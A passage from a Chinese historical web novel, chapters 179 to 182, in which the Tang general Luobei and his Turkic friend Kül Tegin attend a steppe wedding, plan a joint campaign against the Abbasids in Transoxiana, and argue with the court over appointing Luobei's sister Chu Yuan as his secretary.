洛北点了点头:“我听说他是在碧水城的药铺遇到朱邪小姐的。当时我们从葛逻禄部回来,一路颠簸,他有些风寒发热,便去药铺买药。结果,朱邪小姐出门光顾着和女伴聊天,迎面与他撞上。两人的药都洒了一地。两人纠缠起来,才认识的。” “你好像知道的比我清楚得多。”阙特勤无奈地看他一眼,越发头疼了:“天啊,我竟还答应了步利要做他的证婚人……” 第179章 “乌特,当初在鸣沙,我是真的想杀了你。” 随着亲朋好友的一声高呼, 一包用绒布包着的糖果被泼洒到了天上。十来个孩子不等糖果落下,就仰着头四处接起糖果来。 阙特勤低头捡起几块零散地落在他脚边的糖果,招呼离他最近的几个孩子来把他手心里的一把糖分掉, 抬头望向洛北的时候, 洛北已经挪步到河岸边平坦的草地上去了。 初生的草地上铺满了缤纷的花毡和厚毯。一众宾客都已经到齐。哥舒亶坐在洛北身侧,时不时地向他嘀嘀咕咕一些碧水城和草原各部的情况。 他们俩是这场婚礼上为数不多出身西突厥的人。其他宾客都是阙特勤熟悉的面孔。 阙特勤的目光往席面的位置上一扫,竟还发现一个戴着厚厚黑狐毛帽子的人正在和左邻右舍谈话,他好奇地凑过去问:“父亲,您怎么也来了?” 突厥大汗默啜的达干(宰相)之一, 同时也是阙特勤的岳父的墩欲谷抬头看着自己的女婿:“步利结婚,又是乌特特勤发的请帖,这样的大事, 我敢不来吗?” 阙特勤只得笑笑,他望着坐在人群中正在与人交谈的洛北,几乎无法想象洛北是如何在他忙碌得挤不出一点时间的日常中把这些事情做完的。 但此刻已经不是想这些的时候, 他站在毡毯中间, 清了清喉咙,开始自己长长的致辞。 随着阙特勤最后的致辞语落下,在欢呼与歌舞之间,身着盛装的新娘在伴娘们的搀扶下入场了。她美丽的脸上蒙着一层薄如蝉翼的轻纱——一看就知道是谁的赠礼。 她面向东方站定, 由她的母亲上前替她把面纱揭开。母亲一边亲吻她的脸颊,一边在她头上蒙上一件新的三角头纱, 将一条条红玛瑙、绿松石的项链挂到她的脖颈上,对她说着祝福的话。 到了男方这边,母亲的亲吻就变成了深深的拥抱。她把镶金嵌玉的蹀躞带往步利的腰间系上:“愿上天保佑你, 孩子。” “母亲。”步利捏了捏已经哭得上气不接下气的新娘的手,但下一刻他就笑不出来了。因为上来的是他自己的母亲。母亲把自己的儿子望了又望, 终于在孩子长大成人的欣喜中哭了出来。 礼物、哭泣和亲吻告一段落。乐团那边的青年们又奏起了乐曲。新郎带着新娘下去跳舞了,还带走一片无所事事的年轻人。 空荡荡的草原上很快成了歌舞的海洋,衣裙旋转,歌声飘荡,甚至引来不少从碎叶草原上的金山大会上过来的牧人们。人们展开双臂,给新人道一句祝福,便加入了舞蹈的行列,就像草海上翻起的花海。 洛北和阙特勤却不在这群无忧无虑的人们之列,他们是席间的宾客,另有重要的事情要做——“喝酒”。 阙特勤万丈豪情地仰头灌下一杯好酒,又与朱邪烈撞了撞酒壶:“朱邪首领,我生平遇到你这样喝酒豪爽的汉子,喝,喝,再来一杯。” 朱邪烈挥手命下人端来新的一壶酒:“说好了,阙特勤,和你喝了这杯,我家女儿在你那里的草原上受了欺负,你是要替她出头的。” “阿爸!”新娘恰好跳舞到了附近,她的脚下还随着舞曲踩着步点,口中却一点没有饶人的意思:“不要阙特勤给我出头,我自己就能教训这个小子。” 阙特勤忍不住笑了,可他看到新娘对面的那个傻小子笑得比他还要欢腾的时候,却恨不得伸手敲他一下,可舞曲的节奏极快,他没能伸出手去,步利就搂着他的新娘转开了。 阙特勤极为挫败地一叹,顿时觉得连杯中的酒都没滋味了。偏在这时,朱邪烈又替他倒了一杯:“来,继续喝!” “乌特。” 宴席一直到夕阳时分才随着新人离场散去,一片绿意的草原上,火红的太阳在天边熊熊地燃烧着。 大部分宾客都倒在毡毯上,被男方家的仆役们一个个地抬进毡房中,阙特勤醉意也重了,但还能站在原地,他拒绝了朱邪烈“再到我家的帐篷里喝一轮”的建议,伸手招呼自己的挚友: “喝的有点多了,陪我去走走,如何?” 洛北面前的酒壶也叠成了一座小山,此刻还是和之前一样,坐在那里和人聊天,似乎酒水没对他造成任何影响,此刻见阙特勤招呼,就笑着起身:“好啊,走。” 他们漫步在高高的原野上,夕阳的余晖落在他们的身上和眼中。洛北的眼睛几乎被染成一片华丽的金红色:“有话想说?” 阙特勤撇了撇嘴角:“我就不问你是怎么知道我在想什么的了。”他坐下身,凝望着远处天边的红霞:“我有个问题问你。” “什么问题?”洛北也学着他的样子坐下来看日落。 “他们告诉我,过往你大多是春末离开碎叶城,在夏日时到金山拜山,赶在秋收之前折返。”阙特勤说,他刻意没说“他们”是谁:“但去年冬日起,你几乎都在草原上度过?为什么?” 洛北笑了:“你知道,现在碎叶城中代我执政的是我的妹妹褚沅,吴判官专门负责商贾诸事。她的能力足够,但因着年轻,总欠缺了点威望。我若是在城中,很多事情她不好办。” “你可真是”阙特勤摇了摇头:“别出心裁。” “我是安西副大都护,也统领着西突厥草原各部,总不能被一座碎叶城牵走大部分的注意力。”洛北道:“论执政,褚沅的能力不在中原的大部分官吏之下。她只是需要机会而已。恰好,我信任她。” 阙特勤知道,对于洛北这样一个少时颠沛流离,又以智慧权谋著称的人来说,“信任”这两个字在他的口中,有着千钧的分量,他没有追问此节的必要了。 缺了话题,阙特勤似乎一时想不到要说什么,只是静静地坐在草原上,望着太阳的最后一丝余晖沉入地面,望着皎洁的月光再度接管大地。 长久的沉默之后,阙特勤再度开口:“乌特,当初在鸣沙,我是真的想杀了你。” 洛北一时没有回答,他转过头去望着阙特勤脸上的神情,天色太暗,他什么都看不到。于是他敛容正色,轻声答道:“我知道。” “在这里也是一样。”阙特勤的声音带着浓浓的哀愁:“只要我叔可汗的命令一下,今日的挚友和兄弟立马就会变成明日的敌人。到了那一天,今日的欢笑和记忆,都会变成刀剑刺向我们自己,乌特,我觉得很难过。” 洛北几乎有点不敢相信自己的耳朵了,半晌之后,他才小心翼翼地问:“你,是在为了要和我打仗感到痛苦吗?” 这好像不是阙特勤能说出来的话,在洛北的记忆里,台上生死相搏,台下言笑晏晏的才是阙特勤——他怎么突然多愁善感起来了? “痛苦。”阙特勤又用汉话念了一遍这个词:“‘痛苦’好难懂的词汇,我不知道痛苦是什么,我只是不想去面对这样的未来。尤其是在今日参加完这场婚礼之后。就像人们常说的那样,婚姻是盟约的一种形式。我想这样的盟约除却血缘连结之外,情感也在其中。” 自从土门可汗和室点密可汗这对兄弟的时代开始,突厥阿史那家族的女子嫁入他们征服和踏足过的土地,各家的女儿和姐妹嫁入阿史那家族。血缘和婚姻成为像大地一样宽广,像海一样广阔的大突厥汗国的基础。 后来,大唐的时代到来,李家的女儿与归降的各路贵胄结为婚姻,文成公主远嫁雪域高原之上,接下来还有金城公主要远嫁。就连洛北的父亲,西突厥十姓可汗阿史那献,他的母亲也是李家的宗室女子。 过往的百年,千年之中,用“婚姻”代替盟约,是再寻常不过的事情。但情感……似乎在这样的婚姻中总是次要的。 “是啊。”洛北却赞成他的看法:“不过若不是两情相悦,我也不会在促成这桩婚事上下功夫。要是促成一对怨偶,反而不美。” 阙特勤深深地叹息一声:“自碧水城以来,我分神留意过,光部族的小首领之间便有二十来家成了婚的。部众之间更不用说了——你还为新婚夫妇发放绸缎和布匹,对那些穷苦的牧民们来说,这是他们得到几匹体面布料,做身好衣裳的最好机会。” 洛北轻轻笑了:“这有什么不好吗?你手下的西域诸部族之间,多的是沾亲带故的关系,给这些年轻男女们一个认识其他人的机会,也有助于各部恢复人口——阙特勤,你不是才向我抱怨过,你手下的西域各部自匍俱战败溃逃以来,一直是老弱妇孺居多么?” “是啊。”阙特勤低头望着脚下的草海,天色黯淡下去,衬得草海也变得黑黢黢的:“天下太平,自然无事。可一旦战争爆发这对他们来说太残忍了。” 洛北颔首,没有立刻答话。 “从小到大,你做事都比我周全得多。”阙特勤转过头来,望着他流金般的琥珀色眼眸:“这样简单的道理,我不信你没有想到。所以我只能猜测,猜你另有目的。” “现在这里只有你我。”阙特勤轻轻叹了口气:“你能否告诉我,你到底是什么打算?” 第180章 “我希望更值得我信任的人成为突厥大汗。” “我的打算?” 洛北笑了, 笑得一如明月清光。东风自不知何处吹拂而来,在呼啸之间夹杂着从不远处的草原上飘来的颂歌: “我以金弓,向诸部重盟十箭之誓。 愿诸部团结友爱, 永不迷惘。 愿诸部子弟, 坚强不屈。 愿西域和平,万年流传。” 对阙特勤来说。这首歌的曲调很熟悉,词句却很陌生。 他望着洛北,只见他张开双臂。脸上难得露出一点张扬肆意的笑意,似乎在侧耳聆听。 这是伟大的乌特特勤在金山与突厥诸部重盟金弓之誓时所唱的颂歌。 “我的打算是……和平。” 洛北在缥缈的颂歌声中说出了他的回答: “我想要天下人都安居乐业, 让各族子弟如兄弟姐妹那般相处,像石榴籽一般地抱在一起。” “等到战争淡出我们脚下的土地,变成久远的记忆和史书上的文字, 我们就不再需要征战,不再需要死亡。” “再也没有母亲会为了自己的孩子哭泣,没有父亲要亲手把孩子带上战场……” “我不会改变各部族子弟的生活方式, 汉人、突厥人、吐蕃人、铁勒人、粟特人、高句丽人都能做自己喜欢的事情, 选择自己喜欢的生活,耕田读书行商放牧歌舞,什么都好,但我要他们拥有享受更好生活的权力, 就像你腰间系上的这方棉布的巾帕,它应当出现在每个人的生活里。” “等到时间足够久远, 就像曾经的赵人韩人变为汉人,鲜卑人于大地消失,我们, 我们所有人也终究会变成唐人……” “你想成为下一个天可汗。”阙特勤审慎地用汉语评价。 在阙特勤和洛北的二十年交往中,他们曾经站在一起对抗大食, 也曾经在鸣沙指挥军队大战一场,他们一起站在可汗的牙帐里,也一起眺望过唐天子所在的长安。阙特勤从不认为洛北是个异想天开的人,这一次也一样。 “如果只有天可汗可以完成这样的伟业。那我就会成为天可汗。”洛北说,“不过,那是很长时间之后的事情了。现在你我另有一桩事情要做。” “大食。”阙特勤眨了眨眼,猜出了他的用意,“你要兴兵讨伐大食。” “是我们要兴兵讨伐大食。”洛北纠正了他的说法,“阙特勤,你我都知道现在汗国的情况,自金山回归我手,西域各部就不再向于都斤山下的突厥牙帐进贡物品了。朔方的张仁愿又设立了三座受降城,把汗国的兵马驱赶到了贺兰山北,富饶的阴山平原与汗国无关了,漠南草原也不是默啜的铁骑能肆意驰骋之地。依靠商队运送的铁器,默啜能支撑多久?” 他没给阙特勤更多思考的机会:“自拔汗那人叛乱以来,他手下的各部纷纷效仿……突厥是以战争为生命的民族,当默啜不再是那个能打赢一切敌人的大汗,他还能在那个位置上待多久?” 阙特勤苦笑一声:“你希望我和我的兄长取代他?” “我希望更值得我信任的人成为突厥大汗。”洛北道。 阙特勤沉默了,半晌之后,他才缓缓地,以一种极少出现在他身上沉重语调说: “拔汗那人的叛乱与你有关。” 他说的是个肯定句,洛北却回答了他:“秋天堆积的干草,只要一点火星就能燃起熊熊烈火。这点火星出自于谁,重要吗?” “是不重要。可他是大汗,我只是他的侄子,是汗国的将军。”阙特勤轻轻叹息了一声,“没有他的手令,我只能带走自己的亲信兵马。那些兵马投入河中的战场上,就像石子投入大河。” “阙特勤,难道你打仗是靠人多才能取胜吗?”洛北笑着问他。 “乌特。”阙特勤望着他的眼睛,“难道你打算把战争停在河中地区为止吗?” 答案当然是否定的。 河中地区向西,是一片富饶的土地。过去它是波斯帝国的腹地,产生着帝国半数的粮草与赋税。现在它是大食帝国的呼罗珊行省,那里的农民与牧民支撑着大食的呼罗珊总督屈底波成为“中国总督”的梦想。 洛北的计划是把这里也编入自己的影响之中,他要完成五十余年前大唐将军裴行俭未完成的事业,兴灭国,继绝世——复兴波斯,使它成为隔绝大唐与大食之间的“闲壤”。 “所以我们必须要有足够的军队随同我们前行。”阙特勤道,“我们要留下自己的势力监管沿途的国家,让他们不敢在我们背后捅刀子。我们要在四面八方驱逐大食的势力,直到他们彻底退出我们祖先所居的土地为止。可这一切,默啜大汗是不会答应的。” “倘若我以大唐将军的身份,要求他出兵协同呢?”洛北问。 阙特勤错愕地瞪大双眼,似乎一时没有明白他的意思。 “当初,为着他的儿子同俄特勤能在长安安享富贵荣华,他曾经上书向大唐请降。”洛北解释道,“虽然两国边境摩擦不断,但这封降书没有失效,我依旧可以要求他出兵相助。” “默啜会答应的。”阙特勤几乎能想到自己那位老谋深算的叔叔会如何应对,“他会假意答应,而后找出各种各样的借口要求大唐提供出兵的兵费、利益……然后他会象征性地派出寥寥数个兵马。河中与契丹不同,那里离他太远了。” “可他会答应的。”洛北契而不舍地回答他。 阙特勤先是一愣,而后终于忍不住哈哈大笑起来:“先斩后奏,以偏概全,确实是你这位曾经的书记官能想出来的办法。” 洛北没有笑:“那么,你是准备答应我了?” “牌出到这个份上,不答应是不成的事情。”阙特勤道,“但我是有条件的,等我们把大食人从粟特人的城市里赶出去,我要收取他们的赋税填做自己的军费。” 洛北颔首:“我不反对。但我也有条件。我要你用自己的兵马和自己的信用保证商人们在旅途中的安全——不止粟特人,是往来东西之间,行走丝路之上的所有商人。” 阙特勤看了他一眼:“好吧,好吧。我就知道,你是从来不做亏本生意的,我能保证我有公正的报酬吗?” “这个自然。”洛北笑了,“我计划在商路上划出防区,每入一国防区,便由该地兵马接手护送之职……只要商人们缴纳了公正的报酬,他们就有权让自己的商品不受到劫掠和偷盗。不过,那是之后的事情了。” “你需要我什么时候出发?”阙特勤问他。 洛北沉吟片刻:“夏天吧,在草海枯黄之前,你要率军赶到昭武九姓之地。我这次会征发西域各部的兵马,其中以突骑施部的兵马为主。你过来的时候会遇到空荡荡的草原和为数不多的牧民,让你的部下们善待他们——河中地区能给他们的财富比这些牛羊的价值要高得多。” “你要等到夏天?”阙特勤以不敢置信的语气问,“以你的性子。你应当不会真的要等大唐朝廷的批复才开始动兵吧?” “阿阙将军,得亏长安来的贵人们没人精通突厥话,否则我这点心思,早就被你说出去了。”洛北笑道,“准备是一回事,发兵是另外一回事,再说,我的首要目的地并不是昭武九姓,而是吐火罗之地。” “吐火罗叶护阿史那都泥利是统叶护可汗的子孙,也是我们的同族兄弟。”阙特勤轻轻颔首,“你出兵救他,可以理解。但河中地区现在没有多少大食人的驻军,你让我停留在那里,是否有些大材小用了?” “你真的相信昭武九姓的粟特王公们吗?”洛北摇了摇头,“昭武九姓是出大商人的地方,他们的本性就是逐利。吐火罗之地地势复杂,即使是我,也不能确保战争一下就能胜利,为了防止这些墙头草随风乱倒,肆意出卖情报给我们造成麻烦,我要你带兵扼守住那里。还有……” 洛北在空中虚虚地画出一道弧线,好像自己不在空旷的草原上,而是在碎叶城内那座宏伟的地图厅中。 顺着他的指尖,阙特勤似乎看到那张庞大的地图出现在自己面前,洛北划过的地方是吐火罗到木鹿城的一片平原与山谷。 “吐火罗平定之后,我会迅速北上,与你会师在木鹿城下。”洛北道,“那是呼罗珊的首府。屈底波的统治中心。如果他把那座城也丢给了我们。那位远在大马士革的哈里发就该仔细想一想,他是否派遣了错误的人来到呼罗珊。” 阙特勤望向洛北,月光之下,他琥珀色的眼眸熠熠生辉。 他越来越清晰地发现,洛北在下一盘棋——那是汉人们发明的精妙游戏,人们以黑白子在十九道纵横交错的棋盘上攻城略地。 洛北教过他这个游戏的规则,胜负判断很简单,就是看谁以最少的子围住最多的地,因此价值最大的地点不在棋盘之中,而在棋盘的四方—— “不能谋一方者,不能谋全局,谋全局,首先要谋一方。” 最终,突厥汗国的第一勇士,年轻的阙特勤长叹一声,向他的挚友同兄弟伸出手:“我答应你。我们击掌为誓。秋日到来之前,会师于木鹿城下。” 清脆的击掌之声响起,拉开了轰轰烈烈的河中战役的序幕。 180-190 第181章 毕竟,这封诏书几乎给了洛北一切他想要的权力 景龙六年, 春三月,碎叶城外。 苏颋与裴耀卿等使团成员,终于完成了自己的任务, 打算趁着春色正好, 出发回长安去。 张孝嵩打算在碎叶多留一阵,多看几个草原部族再走。王翰却是写了一封长长的信件向兵部侍郎张说辞行,他已打定了主意,要在碎叶成就一番事业,不愿再回长安。 “来时四个人, 归去影一双。”裴耀卿笑着摇头,“朝中御史要是知道了,非得弹劾你俩一个结交边将, 私相授受的罪名。” “焕之此言差矣,我留在安西,才是为国为民。”王翰笑道, “我已经答应了褚郡君, 要接手碎叶文馆诸事,好让她腾出手来,处理安西政务。” 苏颋捋了捋胡子,面露遗憾:“本想着还和子羽一路唱和宴饮, 如今看来,算是没机会啦。对了, 这批青年里中可有几个是你王翰举荐的,你就不打算带他们去长安熟悉熟悉环境?” 他们此次归京,除了使团众人, 洛北等派去长安的使节之外,还有学子一十二人。 这些有草原部族的子弟, 有大唐军人的儿女……他们都以学业优异,被褚沅与王翰联名举荐,前往长安深造。其中家境清寒者,褚沅还以自己的名义提供了奖学金。 王翰笑道:“此事难道苏舍人会不上心?” 苏颋哈哈大笑,他自己已经兼了一个季度的碎叶文馆馆主,自然与这些青年男女多有接触,他是眼见着这些出身不同的孩子们如何刻苦钻研的,自然有感情些:“既是你子羽相请,那我就答应了。只有一条,等你回了长安,多请我几顿大酒!” 这一席话说得众人都笑了。褚沅也从袖中取出一封早写好的信件,请苏颋转交上官婉儿:“这队中的三个女郎,还请苏舍人转请上官昭容照拂。” “褚郡君放心。”苏颋道,“我在碎叶数月,多亏郡君照拂,投桃报李,这是我应为之事。” 使团众人离开还没几天,洛北便已命人在碎叶城郊垒起高高的祭天台,他与诸部首领及大唐军将一道登台祭拜,请天地神灵保佑他们此战顺利。 繁忙的备战工作立刻拉开序幕,铠甲、武器、粮草、布匹……洛北甚至动用了牛马来运送步兵与机械。 为着监督战前准备,裴伷先率队翻越天山,来到碎叶城中。他望着城门中鱼贯而出的粮草和装备,笑道: “公子,如何?几年前我在长安立下的军令状,到今日可算实现否?” 洛北一眼便看出他的心思,刻意给他垫了话:“伷先之能,我毫不怀疑。” “那公子可否答应我,丝路再通之后,把头张通商关防给我的商队?”裴伷先果然如他所料的那般顺坡下驴,“公子放心,我可不是个贪心的人,所有利润,除却商税和公子的股息之外,我还会另分一成放入安西都护府,用以赈灾、救济、教育、医学等。” “伷先啊,说句老实话,这样规模的生意,哪怕只是六四分成,你也比许多小国国主还要富庶了。”洛北笑道。 裴伷先知他已经应允,听了他这半真半假的抱怨也不由得以玩笑应对:“公子哪里的话,公子若是要用,只需一句话给我就行了。” 洛北摇了摇头:“战争之中,计算金钱本就无甚意义。但我确实需要你帮我一个忙,商人们往来丝路之上,携带大量金银并不方便,更不安全,或许可以想个办法,减轻他们的负担……” 裴伷先凝神静思片刻:“过去我们在突厥的时候,时常在让商队首领携带凭记,在几个特定的地点以凭记提取货物和银钱,不过要做成此事,必须要有充分的银钱才行……” “此事就交给你了。”洛北笑道,“对了,吴判官我可要带走,让他替我调度粮草。” “吴钩本就是军人出身,能重回行伍。他一定欢喜。”裴伷先颔首。 “哦?”洛北好奇道,“他曾是大唐军人?” “不错,他没和您说过吗?当年他在突厥被俘,被卖为奴,是公子以银钱赎买奴隶,才让他恢复了自由身。”裴伷先微微睁大眼睛,望着洛北,“您不知道?” 洛北先是一愣,而后又是慨然一笑:“我何必知道?” 阙特勤是在三月十九那日离开的碎叶城。清晨时分,他将一身卫队的衣袍铠甲叠得整整齐齐地放在床上,又花了些时间在碎叶城中的安西衙署中四处打转,似乎想记住此地风景。 “阙特勤。”洛北在花园中和他打了个照面,“我以为你今天早上就要走。” 春日一到,牧民们便要开始迁徙。阙特勤已同洛北打过招呼,他尽快赶回自己的部族身边,以免这些老弱妇孺遭到其他势力的侵扰。 阙特勤笑道:“在这里,你还是叫我阿阙吧,我都听得习惯了。你有事吗?若是空闲,不妨陪我再去那座地图厅看看?” 饶是手边堆了一堆事,洛北也顾不上在乎了,他带着阙特勤,重新回到了那面巨大的地图之前。 “东到大海,西到铁门……是土门大汗与室点密大汗曾经征服的领土。”阙特勤站在那里,抬头望着那山川湖海,“阿史那乌特——你我会比他们走得更远,见得更多,我们会掌握那些有土地之人的土地,击败那些有可汗之人的可汗。” 洛北笑了,还未来得及说什么,地图厅外响起了几声敲门声,仆役们高声禀报,皇帝的诏书到了。 碎叶城中的安西衙署中门大开,仆役们已经七手八脚地抬起了香案,准备跪迎圣命。 张孝嵩已经到了前厅,正在青石砖上来回踱步,见他施施然走来,不由得问道:“洛将军看起来一点也不紧张?难道你已经知道了圣命何为?” “我猜想,宋相公一定会反对我在边境用兵。郭相公一定会赞成。”洛北摊开双手:“不过最后,陛下和皇后都会赞成的。” “陛下赞成可以理解。”张孝嵩道,“但皇后娘娘为何也会赞成?” 当时为了褚沅之事,她和洛北不可谓闹得很好看。 洛北道:“因为她要给自己一个效法女皇的机会,一个在泰山封禅时作为亚献的机会。” 张孝嵩吃了一惊,还要问什么,宣旨的黄门已经到了门前。两人齐齐下拜,共迎圣旨。 正如洛北所料,朝廷愿应安西大都护,西突厥十姓可汗阿史那献之请,令其子洛北代父统兵,为定远道行军大总管,摄鸿胪卿、招慰月氏大使,节度已西诸蕃国。 另命监察御史张孝嵩为监军,留守军中。 洛北向着长安方向行过大礼,从使节手中接过诏书。 张孝嵩面露喜色,上前正要恭贺他几句。毕竟,这封诏书几乎给了洛北一切他想要的权力: 定远道行军大总管,是军权。 摄鸿胪卿、招慰月氏大使,是以大唐使节身份与各国交往的权力。 节度已西诸蕃国,是把征发西域各国、招抚昭武九姓、吐火罗等地的邦国的权力也给了他。 有了这封诏命,他便有权力以大唐将军身份节度西域诸事,或战或和,或招或抚,从此都决于他一人之手。 更不要说,担任监军的又是张孝嵩。 按说,张孝嵩已与洛北合作过西域之战,两人私交甚密,此次行军路途遥远,朝廷不应该再让张孝嵩担任监军御史。 当初他们上奏时把此条列入,是想以进为退,让朝廷把此条驳回,好让洛北能够如愿。 但诏命下发,这项任命竟是保留不动——朝廷对洛北的信任、对此战的期待都可见一斑。 “请问。”洛北开口道,“任命褚郡君为我幕府掌书记的命令,没有下发吗?” 这本来是个极简单的任命——幕府掌书记,在朝廷不过八品。这样的小官,甚至不需要皇帝任命,只需边将提名,报兵部审批即可。 更不要说,当时苏颋、王翰等人可是联名上的奏疏,难道两位文坛大手作保,也拿不到这样一个任命? 那使节似乎知道洛北的威名,一时竟不敢抬头看他:“朝廷,朝廷还在商议。” “我作为边将,任命自己的幕僚,还需要朝廷商议?”洛北简直是被气笑了,“张韩公在边境也要受这样的制辖么?北庭都护郭虔瓘去年一年任命了八位掌书记,我也没听说朝中有哪位御史出面弹劾?” 那使者被他连连逼问,不敢接话。 张孝嵩只得唱个红脸,温言劝道:“不怪洛将军心急,使者,掌书记这个官职放在朝中不值一提,却是边将们的心腹幕僚,非得用一个‘自己人’不可。如今洛将军即将出征在外,朝廷却把他手下的掌书记一职悬空,这样行事,确实是让人担忧啊。朝廷可是不信任洛将军了?” 那使节瞪大眼睛,似乎极为了张孝嵩的话惊讶:“张御史,朝廷对洛将军是再信任也没有了。宋相公连着上了十来天的奏疏,要求陛下‘罢边事,息兵戈,养民生’,陛下和郭相公硬是顶着压力,力排众议,把让洛将军领兵的旨意下发了。” “那为何这掌书记的任命迟迟不发?”洛北问。 使者为难地看了他一眼:“本来郭相公的意思,是愿意通过的。可朝中议论纷纷,说您是在徇私舞弊,宁将此职托于妇人之手,也不愿予以朝中那些有资历的官员。这事儿在朝堂上引起了不小的争议,所以才……” 第182章 “你是想说,朝中这些人道貌岸然?” “道济, 你给安西去封信,就说是我问的。你问问洛北,他到底想干什么?” 长安三月, 春花如海, 宫城之中也不例外。以肃杀著称的兵部外,开满了娇艳的桃花。朵朵花朵如粉面美人,在春风之中轻轻摇摆。 张说从地上拾起那本被郭元振丢在地上的奏疏,抬头一看,第一行字:“臣安西副大都护、昆陵郡公、定远道行军大总管洛北谨奏”, 轻轻一叹: “洛将军还在为了那个掌书记的官职过不去?” “吐火罗和河中,皆是大唐藩属之国,与大唐有万里之遥。他非要出兵, 已经让朝中很多人不满了。现在他接连上书,一定要朝廷给褚沅这个掌书记的职位。”郭元振疲惫地揉了揉太阳穴:“一个八品的职位,值得他对抗朝廷吗?你问问他, 吐火罗他还救不救?河中之战他还打不打?” 张说知道郭元振这是被两边逼迫, 起了情绪,当下一笑,没有把自己这位上司说写信的事情当真。他提起窗下烹得正好的新茶,给郭元振杯里添了半杯, 又挥退仆役,才道: “既然只是一个八品的职位, 顺着他的意思给了就是了。且不说宫中的众多女官,就说安西都护府,不是还有位胡禄屋部首领是以女子之身领的爵位吗?褚沅自己也继承了褚遂良一脉的爵位, 多个官职,并不会怎么样吧?” “不会怎么样?”郭元振笑了:“半月之前, 我也是这样想的。那时若是我们争下来了,这旨意也就发下去了。可现在,正值宋相公整饬吏治的时候,多少科举进身的学子、交过大价钱的斜封官没地方安排,这项任命一开,不仅是他,咱们也会被群起攻之。” “可是这些进士、斜封官不也巴着宫中那些女官们吗?”张说再度压低了声音,“便是宋相公,也曾侍奉女主。他们” 郭元振斜看了他一眼——张说是由女皇一手拔擢起来的状元,自然对这样的情况接受程度更高:“你是想说,朝中这些人道貌岸然?” “郭相公不要误会了我。”张说一笑。 郭元振摆了摆手:“对朝中那些人来说,是不一样的。你想,太后以女主身份登朝为帝,可她到底是天子的母亲。宫中女官们虽然权势深重,可她们也算是皇帝的妃嫔。说到底,她们的权力都是君主权力的一部分——咱们把天下看作一家,皇帝便是君父。君父的妻妾也是长辈,天下人是接受这样的秩序的。” “可现在洛北、苏颋这些人想做的是什么?他们想以‘贤才’为由,要求朝廷给褚沅一个掌书记的官职。这可不是皇帝的家事,是她要以女子的身份跻身朝廷之上,挤占那些大臣的空间和权力。” 郭元振道: “此例一开,女子是不是也能参加科举,入朝为官?这样的后果,怕不是他们能接受的。” “打破这样的秩序”张说凝眉道:“郭相公,您觉得,此事洛北想到了吗?” “我得打破这道旧秩序。” 碎叶城中,洛北如是说道。 洛北的书斋难得被整理得如此井井有条。地图、书本和游记都被妥帖地放在偌大的书柜之中。桌上只余一个小小的墨玉做成的古鼎,几部他近日常看的书,和簇新的文房四宝。玉瓶之中别出心裁地插着新生的麦花,发出幽幽的清香。 张孝嵩接过褚沅递来的茶盏,低头向她道了谢,又转而看向洛北。 这些日子,为了这个掌书记的官职,洛北连着三次上书向朝中争辩,一次比一次言辞激烈。郭元振一开始还给洛北回信解释,后来见洛北劝不动,干脆写信给张孝嵩,叫他劝劝这位出征在即的主将:“不要同朝廷置气。” 褚沅心疼他白天做出征的准备,晚上还要挑灯夜战,引经据典地同朝廷辩论: “阿兄,这样下去不是办法,大战在即,你要是为了这样的事情累倒,可就是我的罪过了。长安那些人要是眼热这个掌书记的职位,就让他们到安西来试试好了。” 她理了理袍服边缘的绣花:“若是真的一心为民,我可以在碎叶给他们寻个差事。若是醉心权欲,我也不怕与他们斗一斗。” 洛北笑了:“沅儿,你可算过,安西都护府内有多少织坊、布坊、染坊?” 没等褚沅回答,一边的裴伷先率先开口:“我才同商会开了会,大的么,织坊二十八座,布坊三十座,染坊二十五座。中的会更多些,大约各百余座吧。至于自己家中的那种,更是不可胜数了。” “不错。那伷先可知道,这其中又有多少是女子主事?” 织造刺绣等事,素来被视为女子之业。故而安西都护府的各类作坊中多的是女子的身影——譬如昔年那位伊逻卢城外布坊的临时主事毕姮姬。 裴伷先长长地叹了口气:“前些日子我组织商会,棉纺行会的会员中姑娘们占了半数以上,她们已经推了毕姮姬担任安西棉布行会的会长。这些年,在她的运作之下,布坊的产量及收入都翻了几番。” 洛北轻轻颔首:“不错。所以我才非要把褚郡君抬到掌书记的职位上。她不是一个人,而是安西女子的表率。我得打破这道旧秩序,才能给她们更多的上升空间,也给她们更多的权力。” “否则,一旦我出征在外,便有可能会有人要把这些姑娘赶回家中去,赶回酒肆去,甚至赶到勾栏瓦舍中去。这样一来,我们这几年的努力,安西棉纺的繁荣,就都白费了。” 张孝嵩沉吟片刻,才道:“以我对朝廷如今情况的了解,这道奏疏,宰相们那里定然是过不去的。若是陛下,或是皇后、公主们愿意使使力,或许还有希望。皇后不是之前才同上官昭容通过决议,要求天下人为母丧服丧三年么?” “上官昭容或许愿意替我开口。”说起宫中的事情,众人谁也不比褚沅自己了解得更透彻,“不过其他人,就不好说了。” “为天下女子争取更多的空间,便是为她们自己的权力多添一份保障,难道这个道理,她们不明白?”裴伷先皱眉道。 “裴公,天下这个词,对大部分人来说,太大、太远了,要做成此事,面对的反对何其之多,阻力何其之大。若有这个时间,这个决心,她们何必替我张目,不如忙着摄取更多权力。”褚沅轻声道,“未来的事情,谁都说不准。但抓到手里的权力,是真的。” 张孝嵩有些为难:“现在郭相公可是写了封信叫我劝你‘不要与朝廷置气‘,还说什么,御史台弹劾你的奏章都一尺多高了。” “我确实也不能再和朝廷这样无休止地争论下去。不过,安西大都护府的衙署在伊逻卢城,碎叶城其实只是我的治所。只要我不点头,谁也别想在我手下随意安插个掌书记。” 洛北起身道: “褚郡君,若朝廷不肯松口,碎叶诸事你就以我的私印处置。我另写道批子,把碎叶镇守使及安西副大都护的公章委给你司掌。若有不能决断之事,草原诸部之事问巴彦,安西诸事问裴伷先。” “公子放心,我会用心帮忙的。”裴伷先道。 “是。”褚沅福一福身,“多谢裴公。” 张孝嵩已经意识到了洛北的言下之意:“怎么,吐火罗出事了?” “是啊。”洛北从袖中抽出一张字条递给他,“吴判官最新的消息,因为叛徒出卖,屈底波已经知晓捺塞在秘密反对他。他放弃了原本对河中之地的征服计划,提领大军向吐火罗而去了。” “这样看来,只怕捺塞不会是屈底波的对手。”张孝嵩道。 虽说决定战争的因素不止情报,可眼看在情报一事上,捺塞等人完全不是屈底波的对手——吐火罗军队的组织能力和战斗能力可想而知。 “将军,我们得立刻出兵。” “我已经决意亲率亲兵,立刻南下,并命突骑施部的两位首领莫贺达干和苏禄为佐贰,一左一右。哥舒亶率其余大军殿后。”洛北道。 张孝嵩略带迟疑:“你只带骑兵,若要攻城,只怕为难。” 